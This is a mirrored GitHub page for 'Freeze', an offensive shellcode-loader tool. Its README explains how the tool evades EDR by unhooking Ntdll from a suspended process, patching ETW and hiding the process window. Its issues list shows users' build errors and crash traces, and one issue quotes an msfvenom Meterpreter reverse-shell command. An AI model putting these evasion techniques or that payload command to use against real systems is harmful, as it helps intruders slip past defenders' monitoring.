Giter Site home page Giter Site logo

freeze's Introduction

THIS REPOSITORY HAS BEEN ARCHIVED

To view the latest version of Freeze or to submit an issue, reference https://github.com/Tylous/Freeze.



Freeze

More Information

If you want to learn more about the techniques utilized in this framework, please take a look at SourceZero Blog

Description

Freeze is a payload creation tool used for circumventing EDR security controls to execute shellcode in a stealthy manner. Freeze utilizes multiple techniques to not only remove Userland EDR hooks, but to also execute shellcode in such a way that it circumvents other endpoint monitoring controls.

Creating A Suspended Process

When a process is created, Ntdll.dll is the first DLL that is loaded. This happens before any EDR DLLs are loaded. This means that there is a bit of a delay before an EDR can be loaded and start hooking and modifying the assembly of system DLLs. In looking at Windows syscalls in Ntdll.dll, we can see that nothing is hooked yet. If we create a process in a suspend state (one that is frozen in time), we can see that no other DLLs are loaded, except for Ntdll.dll. You can also see that no EDR DLLs are loaded, meaning that the syscalls located in Ntdll.dll are unmodified.

Address Space Layout Randomization

In order to use this clean suspended process to remove hooks from Freeze loader, we need a way to programmatically find and read the clean suspended process' memory. This is where address space layout randomization (ASLR) comes into play. ASLR is a security mechanism to prevent stack memory corruption-based vulnerabilities. ASLR randomizes the address space inside of a process, to ensure that all memory-mapped objects, the stack, the heap, and the executable program itself, are unique. Now, this is where it gets interesting because while ASLR works, it does not work for position-independent code such as DLLs. What happens with DLLs, (specifically known system DLLs) is that the address space is randomized once at boot time. This means that we don't need to enumerate a remote process information to find the base address of its ntdll.dll because it is the same in all processes including the one that we control. Since the address of every DLL is the same place per boot, we can pull this information from our own process and never have to enumerate the suspended process to find the address.

With this information, we can use the API ReadProcessMemory to read a process' memory. This API call is commonly associated with the reading of LSASS as part of any credential-based attack; however, on its own it is inherently not malicious, especially if we are just reading an arbitrary section of memory. The only time ReadProcessMemory will be flagged as part of something suspicious is if you are reading something you shouldn't (like the contents of LSASS). EDR products should never flag the fact that ReadProcessMemory was called, as there are legitimate operational uses for this function and would result in many false positives.

We can take this a step further by only reading a section of Ntdll.dll where all syscalls are stored - its .text section, rather than reading the entire DLL.

Combining these elements, we can programmatically get a copy of the .text section of Ntdll.dll to overwrite our existing hooked .text section prior to executing shellcode.

ETW Patching

ETW utilizes built-in syscalls to generate this telemetry. Since ETW is also a native feature built into Windows, security products do not need to "hook" the ETW syscalls to access the information. As a result, to prevent ETW, Freeze patches numerous ETW syscalls, flushing out the registers and returning the execution flow to the next instruction. Patching ETW is now default in all loaders.

Shellcode

Since only Ntdll.dll is restored, all subsequent calls to execute shellcode need to reside in Ntdll.dll. Using Go (note you can do this in other languages but in Go, its quite easy to implement) we can define and call the NT syscalls needed to allocate, write, and protect the shellcode, effectively skipping the standard calls that are located in kernel32d.dll, and Kernelbase.dll, as these may still be hooked.

Contributing

Freeze was developed in Golang.

Install

To install Freeze, run the following commands, or use the compiled binary:

go build Freeze.go

Help

        ___________                                    
        \_   _____/______   ____   ____ ________ ____  
         |    __) \_  __ \_/ __ \_/ __ \\___   // __ \ 
         |     \   |  | \/\  ___/\  ___/ /    /\  ___/ 
         \___  /   |__|    \___  >\___  >_____ \\___  >
             \/                \/     \/      \/    \/ 
                                        (@Tyl0us)
        Soon they will learn that revenge is a dish... best served COLD...
                 
Usage of ./Freeze:
  -I string
        Path to the raw 64-bit shellcode.
  -O string
        Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe.
  -console
        Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
  -encrypt
        Encrypts the shellcode using AES 256 encryption
  -export string
        For DLL Loaders Only - Specify a specific Export function for a loader to have.
  -process string
        The name of process to spawn. This process has to exist in C:\Windows\System32\. Example 'notepad.exe' (default "notepad.exe")
  -sandbox
        Enables sandbox evasion by checking:
                Is Endpoint joined to a domain?
                Does the Endpoint have more than 2 CPUs?
                Does the Endpoint have more than 4 gigs of RAM?
  -sha256
        Provides the SHA256 value of the loaders (This is useful for tracking)

Binary vs DLL

Freeze can generate either a .exe or .dll file. In order to specify this, ensure that the -O command line option ends with either a .exe for binaries or .dll for dlls. No other file types are currently supported. In the case of DLL files, Freeze can also add additional export functionality. To do this use the -export with specific export function name.

Console

Freeze utilizes a technique to first create the process and then move it into the background. This does two things - first it helps keep the process hidden, and second, avoids being detected by any EDR product. Spawning a process right away in the background can be very suspicious and an indicator of maliciousness. Freeze does this by calling the ‘GetConsoleWindow’ and ‘ShowWindow’ Windows function after the process is created and the EDR’s hooks are loaded, and then changes the windows attributes to hidden. Freeze utilizes these APIs rather than using the traditional -ldflags -H=windowsgui, as this is highly signatured and classified in most security products as an Indicator of Compromise.

If the -console command-line option is selected, Freeze will not hide the process in the background. Instead, Freeze will add several debug messages displaying what the loader is doing.

Credit

freeze's People

Contributors

tweathers-sec avatar tylous avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

freeze's Issues

Exit status 1: go list error: exit status 1: go build golang.org/x/sys/windows: no Go files in

Hello,

I am getting the following error when trying to run it against a shellcode file generated by Sliver:

`└──╼ $./Freeze_1.2_linux_amd64 -I SILLY_PEW.bin -O test.exe

___________                                    
\_   _____/______   ____   ____ ________ ____  
 |    __) \_  __ \_/ __ \_/ __ \\___   // __ \ 
 |     \   |  | \/\  ___/\  ___/ /    /\  ___/ 
 \___  /   |__|    \___  >\___  >_____ \\___  >
     \/                \/     \/      \/    \/ 
	 			(@Tyl0us)
Soon they will learn that revenge is a dish... best served COLD...				

[!] Selected Process to Suspend: notepad.exe
[+] Loader Compiled
[*] Compiling Payload
exit status 1: go list error: exit status 1: go build golang.org/x/sys/windows: no Go files in

[+] Payload test.exe Compiled
`

When I search with "ls" for the test.exe file, It never compiles it. The file is not there.

This is my go version:
└──╼ $go version go version go1.19.5 linux/amd64

This is the environment:

GO111MODULE="off" GOARCH="amd64" GOBIN="" GOCACHE="/home/parrotuser/.cache/go-build" GOENV="/home/parrotuser/.config/go/env" GOEXE="" GOEXPERIMENT="" GOFLAGS="" GOHOSTARCH="amd64" GOHOSTOS="linux" GOINSECURE="" GOMODCACHE="/root/go-workspace/pkg/mod" GONOPROXY="" GONOSUMDB="" GOOS="linux" GOPATH="/root/go-workspace" GOPRIVATE="" GOPROXY="https://proxy.golang.org,direct" GOROOT="/usr/local/go" GOSUMDB="sum.golang.org" GOTMPDIR="" GOTOOLDIR="/usr/local/go/pkg/tool/linux_amd64" GOVCS="" GOVERSION="go1.19.5" GCCGO="gccgo" GOAMD64="v1" AR="ar" CC="gcc" CXX="g++" CGO_ENABLED="1" GOMOD="" GOWORK="" CGO_CFLAGS="-g -O2" CGO_CPPFLAGS="" CGO_CXXFLAGS="-g -O2" CGO_FFLAGS="-g -O2" CGO_LDFLAGS="-g -O2" PKG_CONFIG="pkg-config" GOGCCFLAGS="-fPIC -m64 -pthread -Wl,--no-gc-sections -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build3653836666=/tmp/go-build -gno-record-gcc-switches"

Freeze doesn't output the exe

`┌──(kali㉿kali)-[~/Desktop/Freeze-main]
└─$ ./Freeze -I /home/kali/Desktop/agent.exe -encrypt -sandbox -O bypass.exe

    ___________                                    
    \_   _____/______   ____   ____ ________ ____  
     |    __) \_  __ \_/ __ \_/ __ \\___   // __ \ 
     |     \   |  | \/\  ___/\  ___/ /    /\  ___/ 
     \___  /   |__|    \___  >\___  >_____ \\___  >
         \/                \/     \/      \/    \/ 
                                    (@Tyl0us)
    Soon they will learn that revenge is a dish... best served COLD...

[] Encrypting Shellcode Using AES Encryption
[+] Shellcode Encrypted
[!] Selected Process to Suspend: notepad.exe
[+] Loader Compiled
[
] Compiling Payload
exit status 1: -seed chosen at random: emztgKrD/STCaGf5qwKdEw
Freeze/bypass.exefldr: /home/kali/Desktop/Freeze-main/.lib/garble: signal: killed
exit status 1

[+] Payload bypass.exe Compiled
`

It says it was complied but there was no output, also does using a Cobalt Strike beacon required? Because the payload I have was something that I wrote myself.

Compile Error When Compiling to DLL with .s File

I have modified the Freeze code a little to include functions from .s go assembler file. When compiling from Freeze as dll, getting below error:

GOPRIVATE=* GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ ../.lib/garble -seed=random -literals build -o loader.dll -buildmode=c-shared
go list error: exit status 1: go build Freeze/loader.dllfldr: package using cgo has Go assembly file asm_x64.s

This issue is related to the Go compiler's issue #19448, can you please help in this regard?

unknown escape when trying to generate the output file

image
I got the error when trying to compile the output

exit status 1: go list error: exit status 2: # Freeze/freeze_shell.exefldr
./freeze_shell.exe.go:120:40: unknown escape

raw shell is generate with
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=# LPORT=443 -f raw -o shell.txt

No Output in Windows

Hello,

The tool does not generate any output in Windows. It works fine in Linux but in Windows no.

` ___________
_ /_ ____ ____ ________ ____
| ) _ __ _/ __ _/ __ \_ // __
| \ | | /\ /\ / / /\ /
_
/ |
| _ >_
>
____ \___ >
/ / / / /
(@Tyl0us)
Soon they will learn that revenge is a dish... best served COLD...

[!] Missing Garble... Downloading it now
exec: no command:
[] Encrypting Shellcode Using AES Encryption
[+] Shellcode Encrypted
[!] Selected Process to Suspend: notepad.exe
[+] Loader Compiled
[
] Compiling Payload
exec: no command:
[+] Payload loader.exe Compiled`

Even though it says payload compiled but no output

Cannot Create Process Handle

I am using a raw x64 shellcode from Cobalt Strike, but when running the compile .exe in console mode it only prints the first 3 lines so I'm guessing it's not even able to create the process handle for notepad.exe. Any ideas ?

$ ./Freeze -I beacon_x64.bin -O freeze.exe -console
 
        ___________                                    
        \_   _____/______   ____   ____ ________ ____  
         |    __) \_  __ \_/ __ \_/ __ \\___   // __ \ 
         |     \   |  | \/\  ___/\  ___/ /    /\  ___/ 
         \___  /   |__|    \___  >\___  >_____ \\___  >
             \/                \/     \/      \/    \/ 
                                        (@Tyl0us)
        Soon they will learn that revenge is a dish... best served COLD...
                 
[!] Selected Process to Suspend: notepad.exe
[+] Loader Compiled
[*] Compiling Payload
[+] Payload freeze.exe Compiled

Running on Win10

compile erro

hello,

i have an error when i use the framework.
I have golang go1.19.9 linux/amd64

do you have any idea ?

┌──(kali㉿kali)-[~/Freeze-main]
└─$ ./Freeze -I shellcode_roro.bin -encrypt -O shellcode_roro.exe

    ___________                                    
    \_   _____/______   ____   ____ ________ ____  
     |    __) \_  __ \_/ __ \_/ __ \\___   // __ \ 
     |     \   |  | \/\  ___/\  ___/ /    /\  ___/ 
     \___  /   |__|    \___  >\___  >_____ \\___  >
         \/                \/     \/      \/    \/ 
                                    (@Tyl0us)
    Soon they will learn that revenge is a dish... best served COLD...

[] Encrypting Shellcode Using AES Encryption
[+] Shellcode Encrypted
[!] Selected Process to Suspend: notepad.exe
[+] Loader Compiled
[
] Compiling Payload
exit status 2: panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x67feed]

goroutine 1 [running]:
main.appendListedPackages({0x0, 0x0, 0x6efe21?}, 0x1)
/home/kali/go/pkg/mod/mvdan.cc/[email protected]/shared.go:251 +0x7ad
main.toolexecCmd({0x7fff28bf0281, 0x5}, {0xc000016220?, 0x707c40?, 0x203000?})
/home/kali/go/pkg/mod/mvdan.cc/[email protected]/main.go:537 +0x310
main.mainErr({0xc000016210, 0x7590a0?, 0x9078e0?})
/home/kali/go/pkg/mod/mvdan.cc/[email protected]/main.go:396 +0x197
main.main1()
/home/kali/go/pkg/mod/mvdan.cc/[email protected]/main.go:237 +0x16e
main.main()
/home/kali/go/pkg/mod/mvdan.cc/[email protected]/main.go:137 +0x19

[+] Payload shellcode_roro.exe Compiled

┌──(kali㉿kali)-[~/Freeze-main]
└─$ go version
> go version go1.19.9 linux/amd64

                                                         `

Not working

I tried to run freeze on the .bin of mimikatz generated by https://github.com/EgeBalci/amber, the newly created .exe does not work
Running just the .bin code works fine
This is the following error message I get:

[DEBUG] [*] Creating Suspended Process: notepad.exe
[DEBUG] [*] Suspend Process ID: 8028
[DEBUG] [*] Creating Handle to Suspend Process
[DEBUG] [*] Process Handle OK
[DEBUG] [+] Parsing Our Proccess's Ntdll.dll Structure
[DEBUG] [+] Reading Ntdll.dll .Text Bytes and Storing Them to a Variable
[DEBUG] [+] NTDLL .text Address In Memory: 7FFFAF911000 NTDLL Size: 12D000
[DEBUG] [+] Restoring Our Proccess's Ntdll.dll .Text Space
[DEBUG] [+] Hooks Flushed Out
[DEBUG] [*] Patching ETW...
[DEBUG] [*] Loading Shellcode...
[DEBUG] [*] Calling NtAllocateVirtualMemory
[DEBUG] [*] Calling NtWriteVirtualMemory
[DEBUG] [*] Calling NtProtectVirtualMemory
Exception 0xc0000005 0x1 0x2b3abaf0009 0x2b3abe561b1
PC=0x2b3abe561b1

runtime.cgocall(0xc40760, 0xc0009882c0)
        /usr/lib/go-1.19/src/runtime/cgocall.go:158 +0x4a fp=0xc00006bc78 sp=0xc00006bc40 pc=0xbe366a
syscall.SyscallN(0x7fffadf713c0?, {0xc00006bd10?, 0x3?, 0xc00006bd20?})
        /usr/lib/go-1.19/src/runtime/syscall_windows.go:557 +0x109 fp=0xc00006bcf0 sp=0xc00006bc78 pc=0xc3baa9
syscall.Syscall(0x9?, 0x2b384404c01?, 0x2b384404c01?, 0x0?, 0xc3965a?)
        /usr/lib/go-1.19/src/runtime/syscall_windows.go:495 +0x3b fp=0xc00006bd38 sp=0xc00006bcf0 pc=0xc3b6bb
golang.org/x/sys/windows.(*Proc).Call(0xc000098030?, {0xc000088060?, 0xca5620?, 0x1?})
        /home/kali/go/pkg/mod/golang.org/x/[email protected]/windows/dll_windows.go:172 +0x107 fp=0xc00006bdf0 sp=0xc00006bd38 pc=0xc899e7
golang.org/x/sys/windows.(*LazyProc).Call(0xc000098030, {0xc000088060, 0x2, 0x2})
        /home/kali/go/pkg/mod/golang.org/x/[email protected]/windows/dll_windows.go:348 +0x50 fp=0xc00006be20 sp=0xc00006bdf0 pc=0xc8a6f0
main.kgveiwDi()
        /home/kali/tools/SolBypass/Freeze/b.exefldr/b.exe.go:289 +0x313 fp=0xc00006bed0 sp=0xc00006be20 pc=0xc99793
main.main()
        /home/kali/tools/SolBypass/Freeze/b.exefldr/b.exe.go:213 +0x325 fp=0xc00006bf80 sp=0xc00006bed0 pc=0xc98e85
runtime.main()
        /usr/lib/go-1.19/src/runtime/proc.go:250 +0x1fe fp=0xc00006bfe0 sp=0xc00006bf80 pc=0xc1777e
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc00006bfe8 sp=0xc00006bfe0 pc=0xc3eec1

goroutine 2 [force gc (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc000045fb0 sp=0xc000045f90 pc=0xc17b16
runtime.goparkunlock(...)
        /usr/lib/go-1.19/src/runtime/proc.go:369
runtime.forcegchelper()
        /usr/lib/go-1.19/src/runtime/proc.go:302 +0xb1 fp=0xc000045fe0 sp=0xc000045fb0 pc=0xc179b1
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc000045fe8 sp=0xc000045fe0 pc=0xc3eec1
created by runtime.init.6
        /usr/lib/go-1.19/src/runtime/proc.go:290 +0x25

goroutine 3 [GC sweep wait]:
runtime.gopark(0x1?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc000047f90 sp=0xc000047f70 pc=0xc17b16
runtime.goparkunlock(...)
        /usr/lib/go-1.19/src/runtime/proc.go:369
runtime.bgsweep(0x0?)
        /usr/lib/go-1.19/src/runtime/mgcsweep.go:297 +0xd7 fp=0xc000047fc8 sp=0xc000047f90 pc=0xc02777
runtime.gcenable.func1()
        /usr/lib/go-1.19/src/runtime/mgc.go:178 +0x26 fp=0xc000047fe0 sp=0xc000047fc8 pc=0xbf74c6
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc000047fe8 sp=0xc000047fe0 pc=0xc3eec1
created by runtime.gcenable
        /usr/lib/go-1.19/src/runtime/mgc.go:178 +0x6b

goroutine 4 [GC scavenge wait]:
runtime.gopark(0xc000052000?, 0x13b9ab8?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc000059f70 sp=0xc000059f50 pc=0xc17b16
runtime.goparkunlock(...)
        /usr/lib/go-1.19/src/runtime/proc.go:369
runtime.(*scavengerState).park(0x1448600)
        /usr/lib/go-1.19/src/runtime/mgcscavenge.go:389 +0x53 fp=0xc000059fa0 sp=0xc000059f70 pc=0xc007b3
runtime.bgscavenge(0x0?)
        /usr/lib/go-1.19/src/runtime/mgcscavenge.go:622 +0x65 fp=0xc000059fc8 sp=0xc000059fa0 pc=0xc00dc5
runtime.gcenable.func2()
        /usr/lib/go-1.19/src/runtime/mgc.go:179 +0x26 fp=0xc000059fe0 sp=0xc000059fc8 pc=0xbf7466
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc000059fe8 sp=0xc000059fe0 pc=0xc3eec1
created by runtime.gcenable
        /usr/lib/go-1.19/src/runtime/mgc.go:179 +0xaa

goroutine 5 [finalizer wait]:
runtime.gopark(0x0?, 0x1394400?, 0x0?, 0xa0?, 0x2000000020?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc000049e28 sp=0xc000049e08 pc=0xc17b16
runtime.goparkunlock(...)
        /usr/lib/go-1.19/src/runtime/proc.go:369
runtime.runfinq()
        /usr/lib/go-1.19/src/runtime/mfinal.go:180 +0x10f fp=0xc000049fe0 sp=0xc000049e28 pc=0xbf65cf
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc000049fe8 sp=0xc000049fe0 pc=0xc3eec1
created by runtime.createfing
        /usr/lib/go-1.19/src/runtime/mfinal.go:157 +0x45

goroutine 18 [GC worker (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc000055f50 sp=0xc000055f30 pc=0xc17b16
runtime.gcBgMarkWorker()
        /usr/lib/go-1.19/src/runtime/mgc.go:1235 +0xf1 fp=0xc000055fe0 sp=0xc000055f50 pc=0xbf94d1
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc000055fe8 sp=0xc000055fe0 pc=0xc3eec1
created by runtime.gcBgMarkStartWorkers
        /usr/lib/go-1.19/src/runtime/mgc.go:1159 +0x25

goroutine 34 [GC worker (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc000985f50 sp=0xc000985f30 pc=0xc17b16
runtime.gcBgMarkWorker()
        /usr/lib/go-1.19/src/runtime/mgc.go:1235 +0xf1 fp=0xc000985fe0 sp=0xc000985f50 pc=0xbf94d1
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc000985fe8 sp=0xc000985fe0 pc=0xc3eec1
created by runtime.gcBgMarkStartWorkers
        /usr/lib/go-1.19/src/runtime/mgc.go:1159 +0x25

goroutine 6 [GC worker (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc00005bf50 sp=0xc00005bf30 pc=0xc17b16
runtime.gcBgMarkWorker()
        /usr/lib/go-1.19/src/runtime/mgc.go:1235 +0xf1 fp=0xc00005bfe0 sp=0xc00005bf50 pc=0xbf94d1
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc00005bfe8 sp=0xc00005bfe0 pc=0xc3eec1
created by runtime.gcBgMarkStartWorkers
        /usr/lib/go-1.19/src/runtime/mgc.go:1159 +0x25

goroutine 7 [GC worker (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc000981f50 sp=0xc000981f30 pc=0xc17b16
runtime.gcBgMarkWorker()
        /usr/lib/go-1.19/src/runtime/mgc.go:1235 +0xf1 fp=0xc000981fe0 sp=0xc000981f50 pc=0xbf94d1
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc000981fe8 sp=0xc000981fe0 pc=0xc3eec1
created by runtime.gcBgMarkStartWorkers
        /usr/lib/go-1.19/src/runtime/mgc.go:1159 +0x25

goroutine 8 [GC worker (idle)]:
runtime.gopark(0x0?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc000983f50 sp=0xc000983f30 pc=0xc17b16
runtime.gcBgMarkWorker()
        /usr/lib/go-1.19/src/runtime/mgc.go:1235 +0xf1 fp=0xc000983fe0 sp=0xc000983f50 pc=0xbf94d1
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc000983fe8 sp=0xc000983fe0 pc=0xc3eec1
created by runtime.gcBgMarkStartWorkers
        /usr/lib/go-1.19/src/runtime/mgc.go:1159 +0x25

goroutine 19 [GC worker (idle)]:
runtime.gopark(0x193dc4a18860?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc000057f50 sp=0xc000057f30 pc=0xc17b16
runtime.gcBgMarkWorker()
        /usr/lib/go-1.19/src/runtime/mgc.go:1235 +0xf1 fp=0xc000057fe0 sp=0xc000057f50 pc=0xbf94d1
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc000057fe8 sp=0xc000057fe0 pc=0xc3eec1
created by runtime.gcBgMarkStartWorkers
        /usr/lib/go-1.19/src/runtime/mgc.go:1159 +0x25

goroutine 20 [GC worker (idle)]:
runtime.gopark(0x193dc41f9850?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc0000b3f50 sp=0xc0000b3f30 pc=0xc17b16
runtime.gcBgMarkWorker()
        /usr/lib/go-1.19/src/runtime/mgc.go:1235 +0xf1 fp=0xc0000b3fe0 sp=0xc0000b3f50 pc=0xbf94d1
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc0000b3fe8 sp=0xc0000b3fe0 pc=0xc3eec1
created by runtime.gcBgMarkStartWorkers
        /usr/lib/go-1.19/src/runtime/mgc.go:1159 +0x25

goroutine 21 [GC worker (idle)]:
runtime.gopark(0x193dc41f9850?, 0x0?, 0x0?, 0x0?, 0x0?)
        /usr/lib/go-1.19/src/runtime/proc.go:363 +0xd6 fp=0xc0000b5f50 sp=0xc0000b5f30 pc=0xc17b16
runtime.gcBgMarkWorker()
        /usr/lib/go-1.19/src/runtime/mgc.go:1235 +0xf1 fp=0xc0000b5fe0 sp=0xc0000b5f50 pc=0xbf94d1
runtime.goexit()
        /usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1 fp=0xc0000b5fe8 sp=0xc0000b5fe0 pc=0xc3eec1
created by runtime.gcBgMarkStartWorkers
        /usr/lib/go-1.19/src/runtime/mgc.go:1159 +0x25
rax     0x2b3abaf0000
rbx     0x2b3842b7cb0
rcx     0x0
rdi     0x2b3842b7cb0
rsi     0x0
rbp     0xb7b53ffc10
rsp     0xb7b53ffbb8
r8      0x2b3842b7cd8
r9      0x0
r10     0xd7d12ff51054c170
r11     0x246
r12     0x2b3abaf0007
r13     0x0
r14     0x2b3abaf0000
r15     0x0
rip     0x2b3abe561b1
rflags  0x10206
cs      0x33
fs      0x53
gs      0x2b

The file is not created normally.

./Freeze -I demon.bin -O demon.exe

	___________
	\_   _____/______   ____   ____ ________ ____
	 |    __) \_  __ \_/ __ \_/ __ \\___   // __ \
	 |     \   |  | \/\  ___/\  ___/ /    /\  ___/
	 \___  /   |__|    \___  >\___  >_____ \\___  >
	     \/                \/     \/      \/    \/
		 			(@Tyl0us)
	Soon they will learn that revenge is a dish... best served COLD...				
		
[!] Selected Process to Suspend: notepad.exe
[+] Loader Compiled
[*] Compiling Payload
exit status 2: panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x67fded]

goroutine 1 [running]:
main.appendListedPackages({0x0, 0x0, 0x6efd21?}, 0x1)
	/home/Eo/go/pkg/mod/mvdan.cc/[email protected]/shared.go:251 +0x7ad
main.toolexecCmd({0x7ffef999dfe7, 0x5}, {0xc000126160?, 0x707b40?, 0x203000?})
	/home/Eo/go/pkg/mod/mvdan.cc/[email protected]/main.go:537 +0x310
main.mainErr({0xc000126150, 0x758f60?, 0x9078c0?})
	/home/Eo/go/pkg/mod/mvdan.cc/[email protected]/main.go:396 +0x197
main.main1()
	/home/Eo/go/pkg/mod/mvdan.cc/[email protected]/main.go:237 +0x16e
main.main()
	/home/Eo/go/pkg/mod/mvdan.cc/[email protected]/main.go:137 +0x19

[+] Payload demon.exe Compiled
  • OS : 5.14.0-kali4-amd64
  • GO verison: go1.19.5 linux/amd64

It's also the same for Windows (release versions) and Mac (builds).

windows


        ___________
        \_   _____/______   ____   ____ ________ ____
         |    __) \_  __ \_/ __ \_/ __ \\___   // __ \
         |     \   |  | \/\  ___/\  ___/ /    /\  ___/
         \___  /   |__|    \___  >\___  >_____ \\___  >
             \/                \/     \/      \/    \/
                                        (@Tyl0us)
        Soon they will learn that revenge is a dish... best served COLD...

[!] Missing Garble... Downloading it now
exec: no command:
[*] Encrypting Shellcode Using AES Encryption
[+] Shellcode Encrypted
[!] Selected Process to Suspend: notepad.exe
[+] Loader Compiled
[*] Compiling Payload
exec: no command:
[+] Payload demon.exe Compiled

Mac OS(ARM)

./Freeze -I demon.bin -encrypt -O demon.exe

	___________
	\_   _____/______   ____   ____ ________ ____
	 |    __) \_  __ \_/ __ \_/ __ \\___   // __ \
	 |     \   |  | \/\  ___/\  ___/ /    /\  ___/
	 \___  /   |__|    \___  >\___  >_____ \\___  >
	     \/                \/     \/      \/    \/
		 			(@Tyl0us)
	Soon they will learn that revenge is a dish... best served COLD...				
		
[*] Encrypting Shellcode Using AES Encryption
[+] Shellcode Encrypted
[!] Selected Process to Suspend: notepad.exe
[+] Loader Compiled
[*] Compiling Payload
exit status 2: panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x0 pc=0x104db9980]

goroutine 1 [running]:
main.appendListedPackages({0x0, 0x0, 0x104e1fa48?}, 0x1)
	/Users/Eo/go/pkg/mod/mvdan.cc/[email protected]/shared.go:251 +0x610
main.toolexecCmd({0x16b29f686, 0x5}, {0x1400012c160?, 0x104b69298?, 0x10?})
	/Users/Eo/go/pkg/mod/mvdan.cc/[email protected]/main.go:537 +0x62c
main.mainErr({0x1400012c150, 0x104e97b40?, 0x10504f940?})
	/Users/Eo/go/pkg/mod/mvdan.cc/[email protected]/main.go:396 +0x180
main.main1()
	/Users/Eo/go/pkg/mod/mvdan.cc/[email protected]/main.go:237 +0x17c
main.main()
	/Users/Eo/go/pkg/mod/mvdan.cc/[email protected]/main.go:137 +0x1c

[+] Payload demon.exe Compiled

It doesn't seem to generate any output file (demon.exe), is there any procedure I can follow to check?

Not working with Cobalt Strike beacon

I created Windows executable(x64) beacon with CS and encrypted with Freeze but its not connecting back to the server.
Is it not compatible with CS ?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

